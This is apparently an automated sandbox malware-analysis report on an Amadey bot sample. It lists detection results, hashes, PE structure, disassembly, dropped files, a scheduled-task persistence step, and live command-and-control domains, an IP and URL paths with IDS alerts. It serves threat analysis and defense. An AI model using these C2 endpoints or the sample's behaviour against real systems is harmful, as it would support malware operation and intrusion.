Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	11 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	24 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
S7AGd447vH.exe	66%	ReversingLabs	Win32.Trojan.Generic
S7AGd447vH.exe	69%	Virustotal		Browse
S7AGd447vH.exe	100%	Avira	TR/Fraud.Gen8
S7AGd447vH.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	100%	Avira	TR/Fraud.Gen8
C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	66%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
http://web.xmlpo	0%	Avira URL Cloud	safe
http://web.xQ	0%	Avira URL Cloud	safe
web.jsonpost.xyz/sj2vMs/index.php	100%	Avira URL Cloud	phishing
http://web.xmlpost.x	0%	Avira URL Cloud	safe
web.xmlpost.xyz/sj2vMs/index.php	100%	Avira URL Cloud	phishing
web.xmlpost.xyz/sj2vMs/index.php	0%	Virustotal		Browse
web.jsonpost.xyz/sj2vMs/index.php	10%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
web.jsonpost.xyz	72.52.178.23	true	false		high
web.xmlpost.xyz	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://web.jsonpost.xyz/	false		high
web.xmlpost.xyz/sj2vMs/index.php	true	0%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://web.jsonpost.xyz/sj2vMs/index.php	false		high
http://web.jsonpost.xyz/sj2vMs/index.php?scr=1	false		high
web.jsonpost.xyz/sj2vMs/index.php	true	10%, Virustotal, Browse Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDE	dllhost.exe, 00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpC:	dllhost.exe, 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpD	dllhost.exe, 00000001.00000003.1806307598.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806281208.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpC	dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.php:	dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.jsonpost.xyz/sj2vMs/index.php?scr=1#	dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpgW	dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/inl	dllhost.exe, 00000001.00000003.1776075882.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.jsonpost.xyz/sj2vMs/index.phpded	dllhost.exe, 00000001.00000003.1986592314.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074699978.0000000000911000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.jsonpost.xyz/sj2vMs/index.phpQ	dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817745095.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.php/	dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpv	dllhost.exe, 00000001.00000003.1776075882.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.php)	dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.php(	dllhost.exe, 00000001.00000003.1775452885.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpg	dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.jsonpost.xyz/sj2vMs/index.phpncoded	dllhost.exe, 00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDEg3y	dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.jsonpost.xyz/sj2vMs/index.php?scr=1RE	dllhost.exe, 00000001.00000003.1986578008.0000000000912000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xQ	dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.xmlpo	dllhost.exe, 00000001.00000003.2074699978.0000000000911000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDEetCookiesW3	dllhost.exe, 00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.jsonpost.xyz/sj2vMs/index.php#	dllhost.exe, 00000001.00000003.1986592314.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.php	dllhost.exe, 00000001.00000003.1871896347.000000000090A000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.jsonpost.xyz/sj2vMs/index.phpncodedY	dllhost.exe, 00000001.00000003.1806307598.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806281208.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.php?scr=16H	dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpR	dllhost.exe, 00000001.00000003.1833860453.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDEs	dllhost.exe, 00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.jsonpost.xyz/sj2vMs/index.php?scr=1G	dllhost.exe, 00000001.00000003.1833879370.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817745095.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.x	dllhost.exe, 00000001.00000003.1776075882.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817713247.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074699978.0000000000911000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.xmlpost.xyz/sj2vMs/index.php?scr=1	dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDEg4y	dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
72.52.178.23	web.jsonpost.xyz	United States		32244	LIQUIDWEBUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564918
Start date and time:	2024-11-29 01:51:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	S7AGd447vH.exe renamed because original name is a hash value
Original Sample Name:	5F5C1A5DF77079F56EB5A61D19666728.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@13/2@18/1
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 71 Number of non-executed functions: 100
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target dllhost.exe, PID 7608 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:52:04	Task Scheduler	Run new task: dllhost.exe path: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
19:52:02	API Interceptor	75111x Sleep call for process: dllhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72.52.178.23	http://ok.clicknowvip.com	Get hash	malicious	Unknown	Browse	ok.clicknowvip.com/page/bouncy.php?&bpae=GbhGd6c6okx%2Fj3OE4HtYIA68CX9ntwpoDg8E5j%2F4dndljne37pKkD5CpSoioxJaypSWFN%2B%2F7d0pdJjT%2FXeAaZtK52aNdDQePqFw%2BU3EtFy8HVw1CurFHa9v1SNkwpEvnt6kapzzY0jmrtiBi%2Fs0p6Hg1%2BWybmADL5b%2FeGqxaUo%2B3ZgqC1TD15ONDM9JCdp0IuM2%2F0ahg0EaD%2B3knPKHcpKzBm7rSKjhlh7dhj2PtSd9vXMAEGyg4Pdl4F9WFOCMl66J4OK%2FdlD4%2BJGBkAIUa4c04kq%2BFeoq%2FA6%2BDbxRArOdXle6ANZXCYNYN4VzpUDKqHkNwNdhyHvjL72y%2Fvg1F7wOrPTIlFWMmR%2FUJVZi%2FtHCN2VT7pp%2F4kFPLl%2Fsqa62NdgRS%2FlX0MozXYx6%2FHCam5PersGjq21a7r7kzBfCWTg%3D%3D&redirectType=js&inIframe=false&inPopUp=false
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	wxgzshna.biz/qjhbu
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	wxgzshna.biz/jubq
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	wxgzshna.biz/klxaypeiwoubq
	SetupRST.exe	Get hash	malicious	Unknown	Browse	wxgzshna.biz/pmqdwnqfxl
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	wxgzshna.biz/exoigpwxtw
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	wxgzshna.biz/rilnx
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	wxgzshna.biz/rltuqai
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	wxgzshna.biz/ghy
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	wxgzshna.biz/yhgadkns

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
web.jsonpost.xyz	7A7A128A51A5E153C55481518BDFFE67093E94D998455.exe	Get hash	malicious	Amadey	Browse	149.28.87.249

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIQUIDWEBUS	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	96.30.19.147
	arm7.elf	Get hash	malicious	Mirai	Browse	173.199.168.212
	spc.elf	Get hash	malicious	Mirai	Browse	173.199.168.212
	https://orbistravelassistance.page/app/pages/login.php	Get hash	malicious	Unknown	Browse	50.28.49.125
	http://ok.clicknowvip.com	Get hash	malicious	Unknown	Browse	72.52.178.23
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	72.52.178.23
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	72.52.178.23
	original.eml	Get hash	malicious	Unknown	Browse	72.52.238.74
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	67.225.227.51
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	72.52.179.174

Process:	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	97818
Entropy (8bit):	7.8814787262724515
Encrypted:	false
SSDEEP:	1536:CBCz5m0ikEEa/NZd4WArZy1TWJWlIRCoT3CULG5iOQnALH5w/SWCcfMJ1j9kBA8O:WO/iXVZd4WAFyMJWvoLCOG5YnMtWCZ9t
MD5:	E4B3B83778385908E63E35C651D840E5
SHA1:	CBC91F27ED9BAB76980DB23FAE70652F775A3451
SHA-256:	40A82004FBB4D08A2190A2C56EF252083EC51750904F1B0C16D3EB41F2A885CC
SHA-512:	AD0D43C91280E37B7DEDEB3CA4222DE320B28AE4A5247B0F8F968FE82494E8B853106A1907A8C0637EDB1D600BBAA0150D9F8A24C197EC303CB8CBBCDB964217
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.*bi.F.xJ.5KC"...N...m.g....Uf.....?.2......Q.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..<.t..A...#'..N>.._.u.......^y.[......1..].+..B....%?........r.....{f`.'(Xw...&e.......Q...8X.V..._.^.(..(...&(....~....[.....).....+.F"8x{I.t.p....pj.g.Ez..+..........O.Wz.......\..4;?...O.........QA..Z.DqCr.Y...L....V..\A.

C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Download File

Process:	C:\Users\user\Desktop\S7AGd447vH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410635
Entropy (8bit):	5.73606655257235
Encrypted:	false
SSDEEP:	6144:Q5VybgaUV4kgV4YHRBduhafN7FY7WXGNJt:6ybgvAxHweFY7WXmt
MD5:	5F5C1A5DF77079F56EB5A61D19666728
SHA1:	C2A99AC26EAB563D62137C264B1A8CC9966342B9
SHA-256:	0B84CBF4FA7C5BE869AAA09B09CBB49EDCDAA3E88675304DB0EE4FA498ADC4C5
SHA-512:	1F6A6789D557D185E90ED3A667C1776BEA7D4ACB8BBBEA86DBFCE6BE86CDEA914AB0021CE6B546D72CD48E6745BFC0BFAD7B583ABAADD1AEFCC9F449814F5EB7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....`a..........................................@..........................p.......N...............................................@..<-...........................................................................................................text....\|.......................... ..`.rdata..$=.......@..................@..@.data...\a.......P..................@....rsrc...<-...@...0..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.73606655257235
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	S7AGd447vH.exe
File size:	410'635 bytes
MD5:	5f5c1a5df77079f56eb5a61d19666728
SHA1:	c2a99ac26eab563d62137c264b1a8cc9966342b9
SHA256:	0b84cbf4fa7c5be869aaa09b09cbb49edcdaa3e88675304db0ee4fa498adc4c5
SHA512:	1f6a6789d557d185e90ed3a667c1776bea7d4acb8bbbea86dbfce6be86cdea914ab0021ce6b546d72cd48e6745bfc0bfad7b583abaadd1aefcc9f449814f5eb7
SSDEEP:	6144:Q5VybgaUV4kgV4YHRBduhafN7FY7WXGNJt:6ybgvAxHweFY7WXmt
TLSH:	8394F120D6D69119EDE346F244B44B590A76B8E51F23DBDF6B40720A2830BE3CD3A797
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....`a..........................................@..........................p.......N.....................................

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x401000
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61608D12 [Fri Oct 8 18:25:22 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b90ad766f05a0095e6c521f56485a931

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 00409580h
push 0040379Ch
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 58h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
call dword ptr [00409014h]
xor edx, edx
mov dl, ah
mov dword ptr [0045F9A0h], edx
mov ecx, eax
and ecx, 000000FFh
mov dword ptr [0045F99Ch], ecx
shl ecx, 08h
add ecx, edx
mov dword ptr [0045F998h], ecx
shr eax, 10h
mov dword ptr [0045F994h], eax
push 00000001h
call 00007F6A90C6B07Fh
pop ecx
test eax, eax
jne 00007F6A90C6859Ah
push 0000001Ch
call 00007F6A90C6BDBBh
pop ecx
call 00007F6A90C6B4DDh
test eax, eax
jne 00007F6A90C6859Ah
push 00000010h
call 00007F6A90C6BDAAh
pop ecx
xor esi, esi
mov dword ptr [ebp-04h], esi
call 00007F6A90C6B0E7h
call dword ptr [004090CCh]
mov dword ptr [00463010h], eax
call 00007F6A90C696DBh
mov dword ptr [0045F9E4h], eax
call 00007F6A90C6B5F5h
call 00007F6A90C6B68Ch
call 00007F6A90C6AA57h
mov dword ptr [ebp-30h], esi
lea eax, dword ptr [ebp-5Ch]
push eax
call dword ptr [004090A8h]
call 00007F6A90C6BA49h
mov dword ptr [ebp-64h], eax
test byte ptr [ebp-30h], 00000001h
je 00007F6A90C68598h
movzx eax, word ptr [ebp+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c2a8	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0x2d3c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5ccdc	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x1b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7ce4	0x8000	967ffae6ce6347ec3c04d42af52875ef	False	0.539825439453125	data	6.134797254847688	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x53d24	0x54000	73a88640da463c698e1432bc921d1c93	False	0.5024152483258929	data	5.718037310966269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5d000	0x615c	0x5000	1ddbbb1e8e10422f1edd8724f57d2429	False	0.0318359375	data	0.3229831901124496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x64000	0x2d3c	0x3000	ea735f3bfdfd86fc15f60a787efb4f1d	False	0.331787109375	data	4.2604526171016746	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x64310	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.2521106941838649
RT_DIALOG	0x653b8	0x4b4	data	English	United States	0.37790697674418605
RT_STRING	0x6586c	0xce	data	English	United States	0.558252427184466
RT_STRING	0x6593c	0x3be	data	English	United States	0.4561586638830898
RT_STRING	0x65cfc	0x27a	data	English	United States	0.5
RT_STRING	0x65f78	0x2b0	data	English	United States	0.4811046511627907
RT_STRING	0x66228	0x288	data	English	United States	0.49228395061728397
RT_STRING	0x664b0	0x21e	data	English	United States	0.5313653136531366
RT_ACCELERATOR	0x666d0	0xf0	data	English	United States	0.5291666666666667
RT_ACCELERATOR	0x667c0	0xf0	data	English	United States	0.525
RT_ACCELERATOR	0x668b0	0xf0	data	English	United States	0.5333333333333333
RT_GROUP_ICON	0x669a0	0x14	data	English	United States	1.15
RT_VERSION	0x669b4	0x388	data	English	United States	0.45685840707964603

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW
KERNEL32.dll	RtlUnwind, GetLastError, GetVersion, VirtualFree, LeaveCriticalSection, InterlockedIncrement, HeapFree, GetACP, TlsAlloc, GetProcessHeap, InitializeCriticalSection, EnterCriticalSection, GetCPInfo, GetEnvironmentStrings, HeapReAlloc, UnhandledExceptionFilter, GetStringTypeA, GetModuleFileNameA, GetVersionExA, GetSystemTimeAsFileTime, LCMapStringW, CloseHandle, GetFileType, SetStdHandle, GetStdHandle, GetOEMCP, TlsFree, TerminateProcess, TlsSetValue, TlsGetValue, WideCharToMultiByte, ExitProcess, FreeEnvironmentStringsW, GetCurrentThreadId, InterlockedDecrement, WriteFile, HeapCreate, IsBadCodePtr, SetUnhandledExceptionFilter, GetStartupInfoA, GetEnvironmentStringsW, GetTickCount, GetStringTypeW, FreeEnvironmentStringsA, GetModuleHandleA, FlushFileBuffers, SetLastError, SetHandleCount, GetCommandLineA, DeleteCriticalSection, HeapDestroy, SetFilePointer, MultiByteToWideChar, GetCurrentProcess, IsBadReadPtr, LCMapStringA, GetEnvironmentVariableA, HeapAlloc
user32.dll	LoadStringW, KillTimer, SetWindowPos, SetWindowRgn, ShowWindow, CreateWindowExW, RegisterClassW, GetMonitorInfoW, LoadAcceleratorsW, LoadCursorW, DefWindowProcW, GetWindowRect, PostQuitMessage, LoadIconW, PostMessageW, OffsetRect, EndPaint, GetWindowLongW, TranslateAcceleratorW, AnimateWindow, IsIconic, BeginPaint, GetMessageW, MonitorFromWindow, DispatchMessageW, TranslateMessage, SetTimer
GDI32.dll	BitBlt, CreateCompatibleDC, DeleteObject, CreateRoundRectRgn
IMM32.dll	ImmGetContext, ImmReleaseContext
MSIMG32.dll	GradientFill, AlphaBlend
ole32.dll	DoDragDrop
SHELL32.dll	DragFinish, DragAcceptFiles
WINMM.dll	PlaySoundW
WInspoOl.drV	DocumentPropertiesW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-29T01:52:04.981329+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49730	72.52.178.23	80	TCP
2024-11-29T01:52:05.730293+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49731	72.52.178.23	80	TCP
2024-11-29T01:52:06.737552+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49733	72.52.178.23	80	TCP
2024-11-29T01:52:07.320341+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49732	72.52.178.23	80	TCP
2024-11-29T01:52:08.193392+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49735	72.52.178.23	80	TCP
2024-11-29T01:52:08.687931+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49734	72.52.178.23	80	TCP
2024-11-29T01:52:09.721376+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49737	72.52.178.23	80	TCP
2024-11-29T01:52:10.108473+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49736	72.52.178.23	80	TCP
2024-11-29T01:52:10.873368+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49739	72.52.178.23	80	TCP
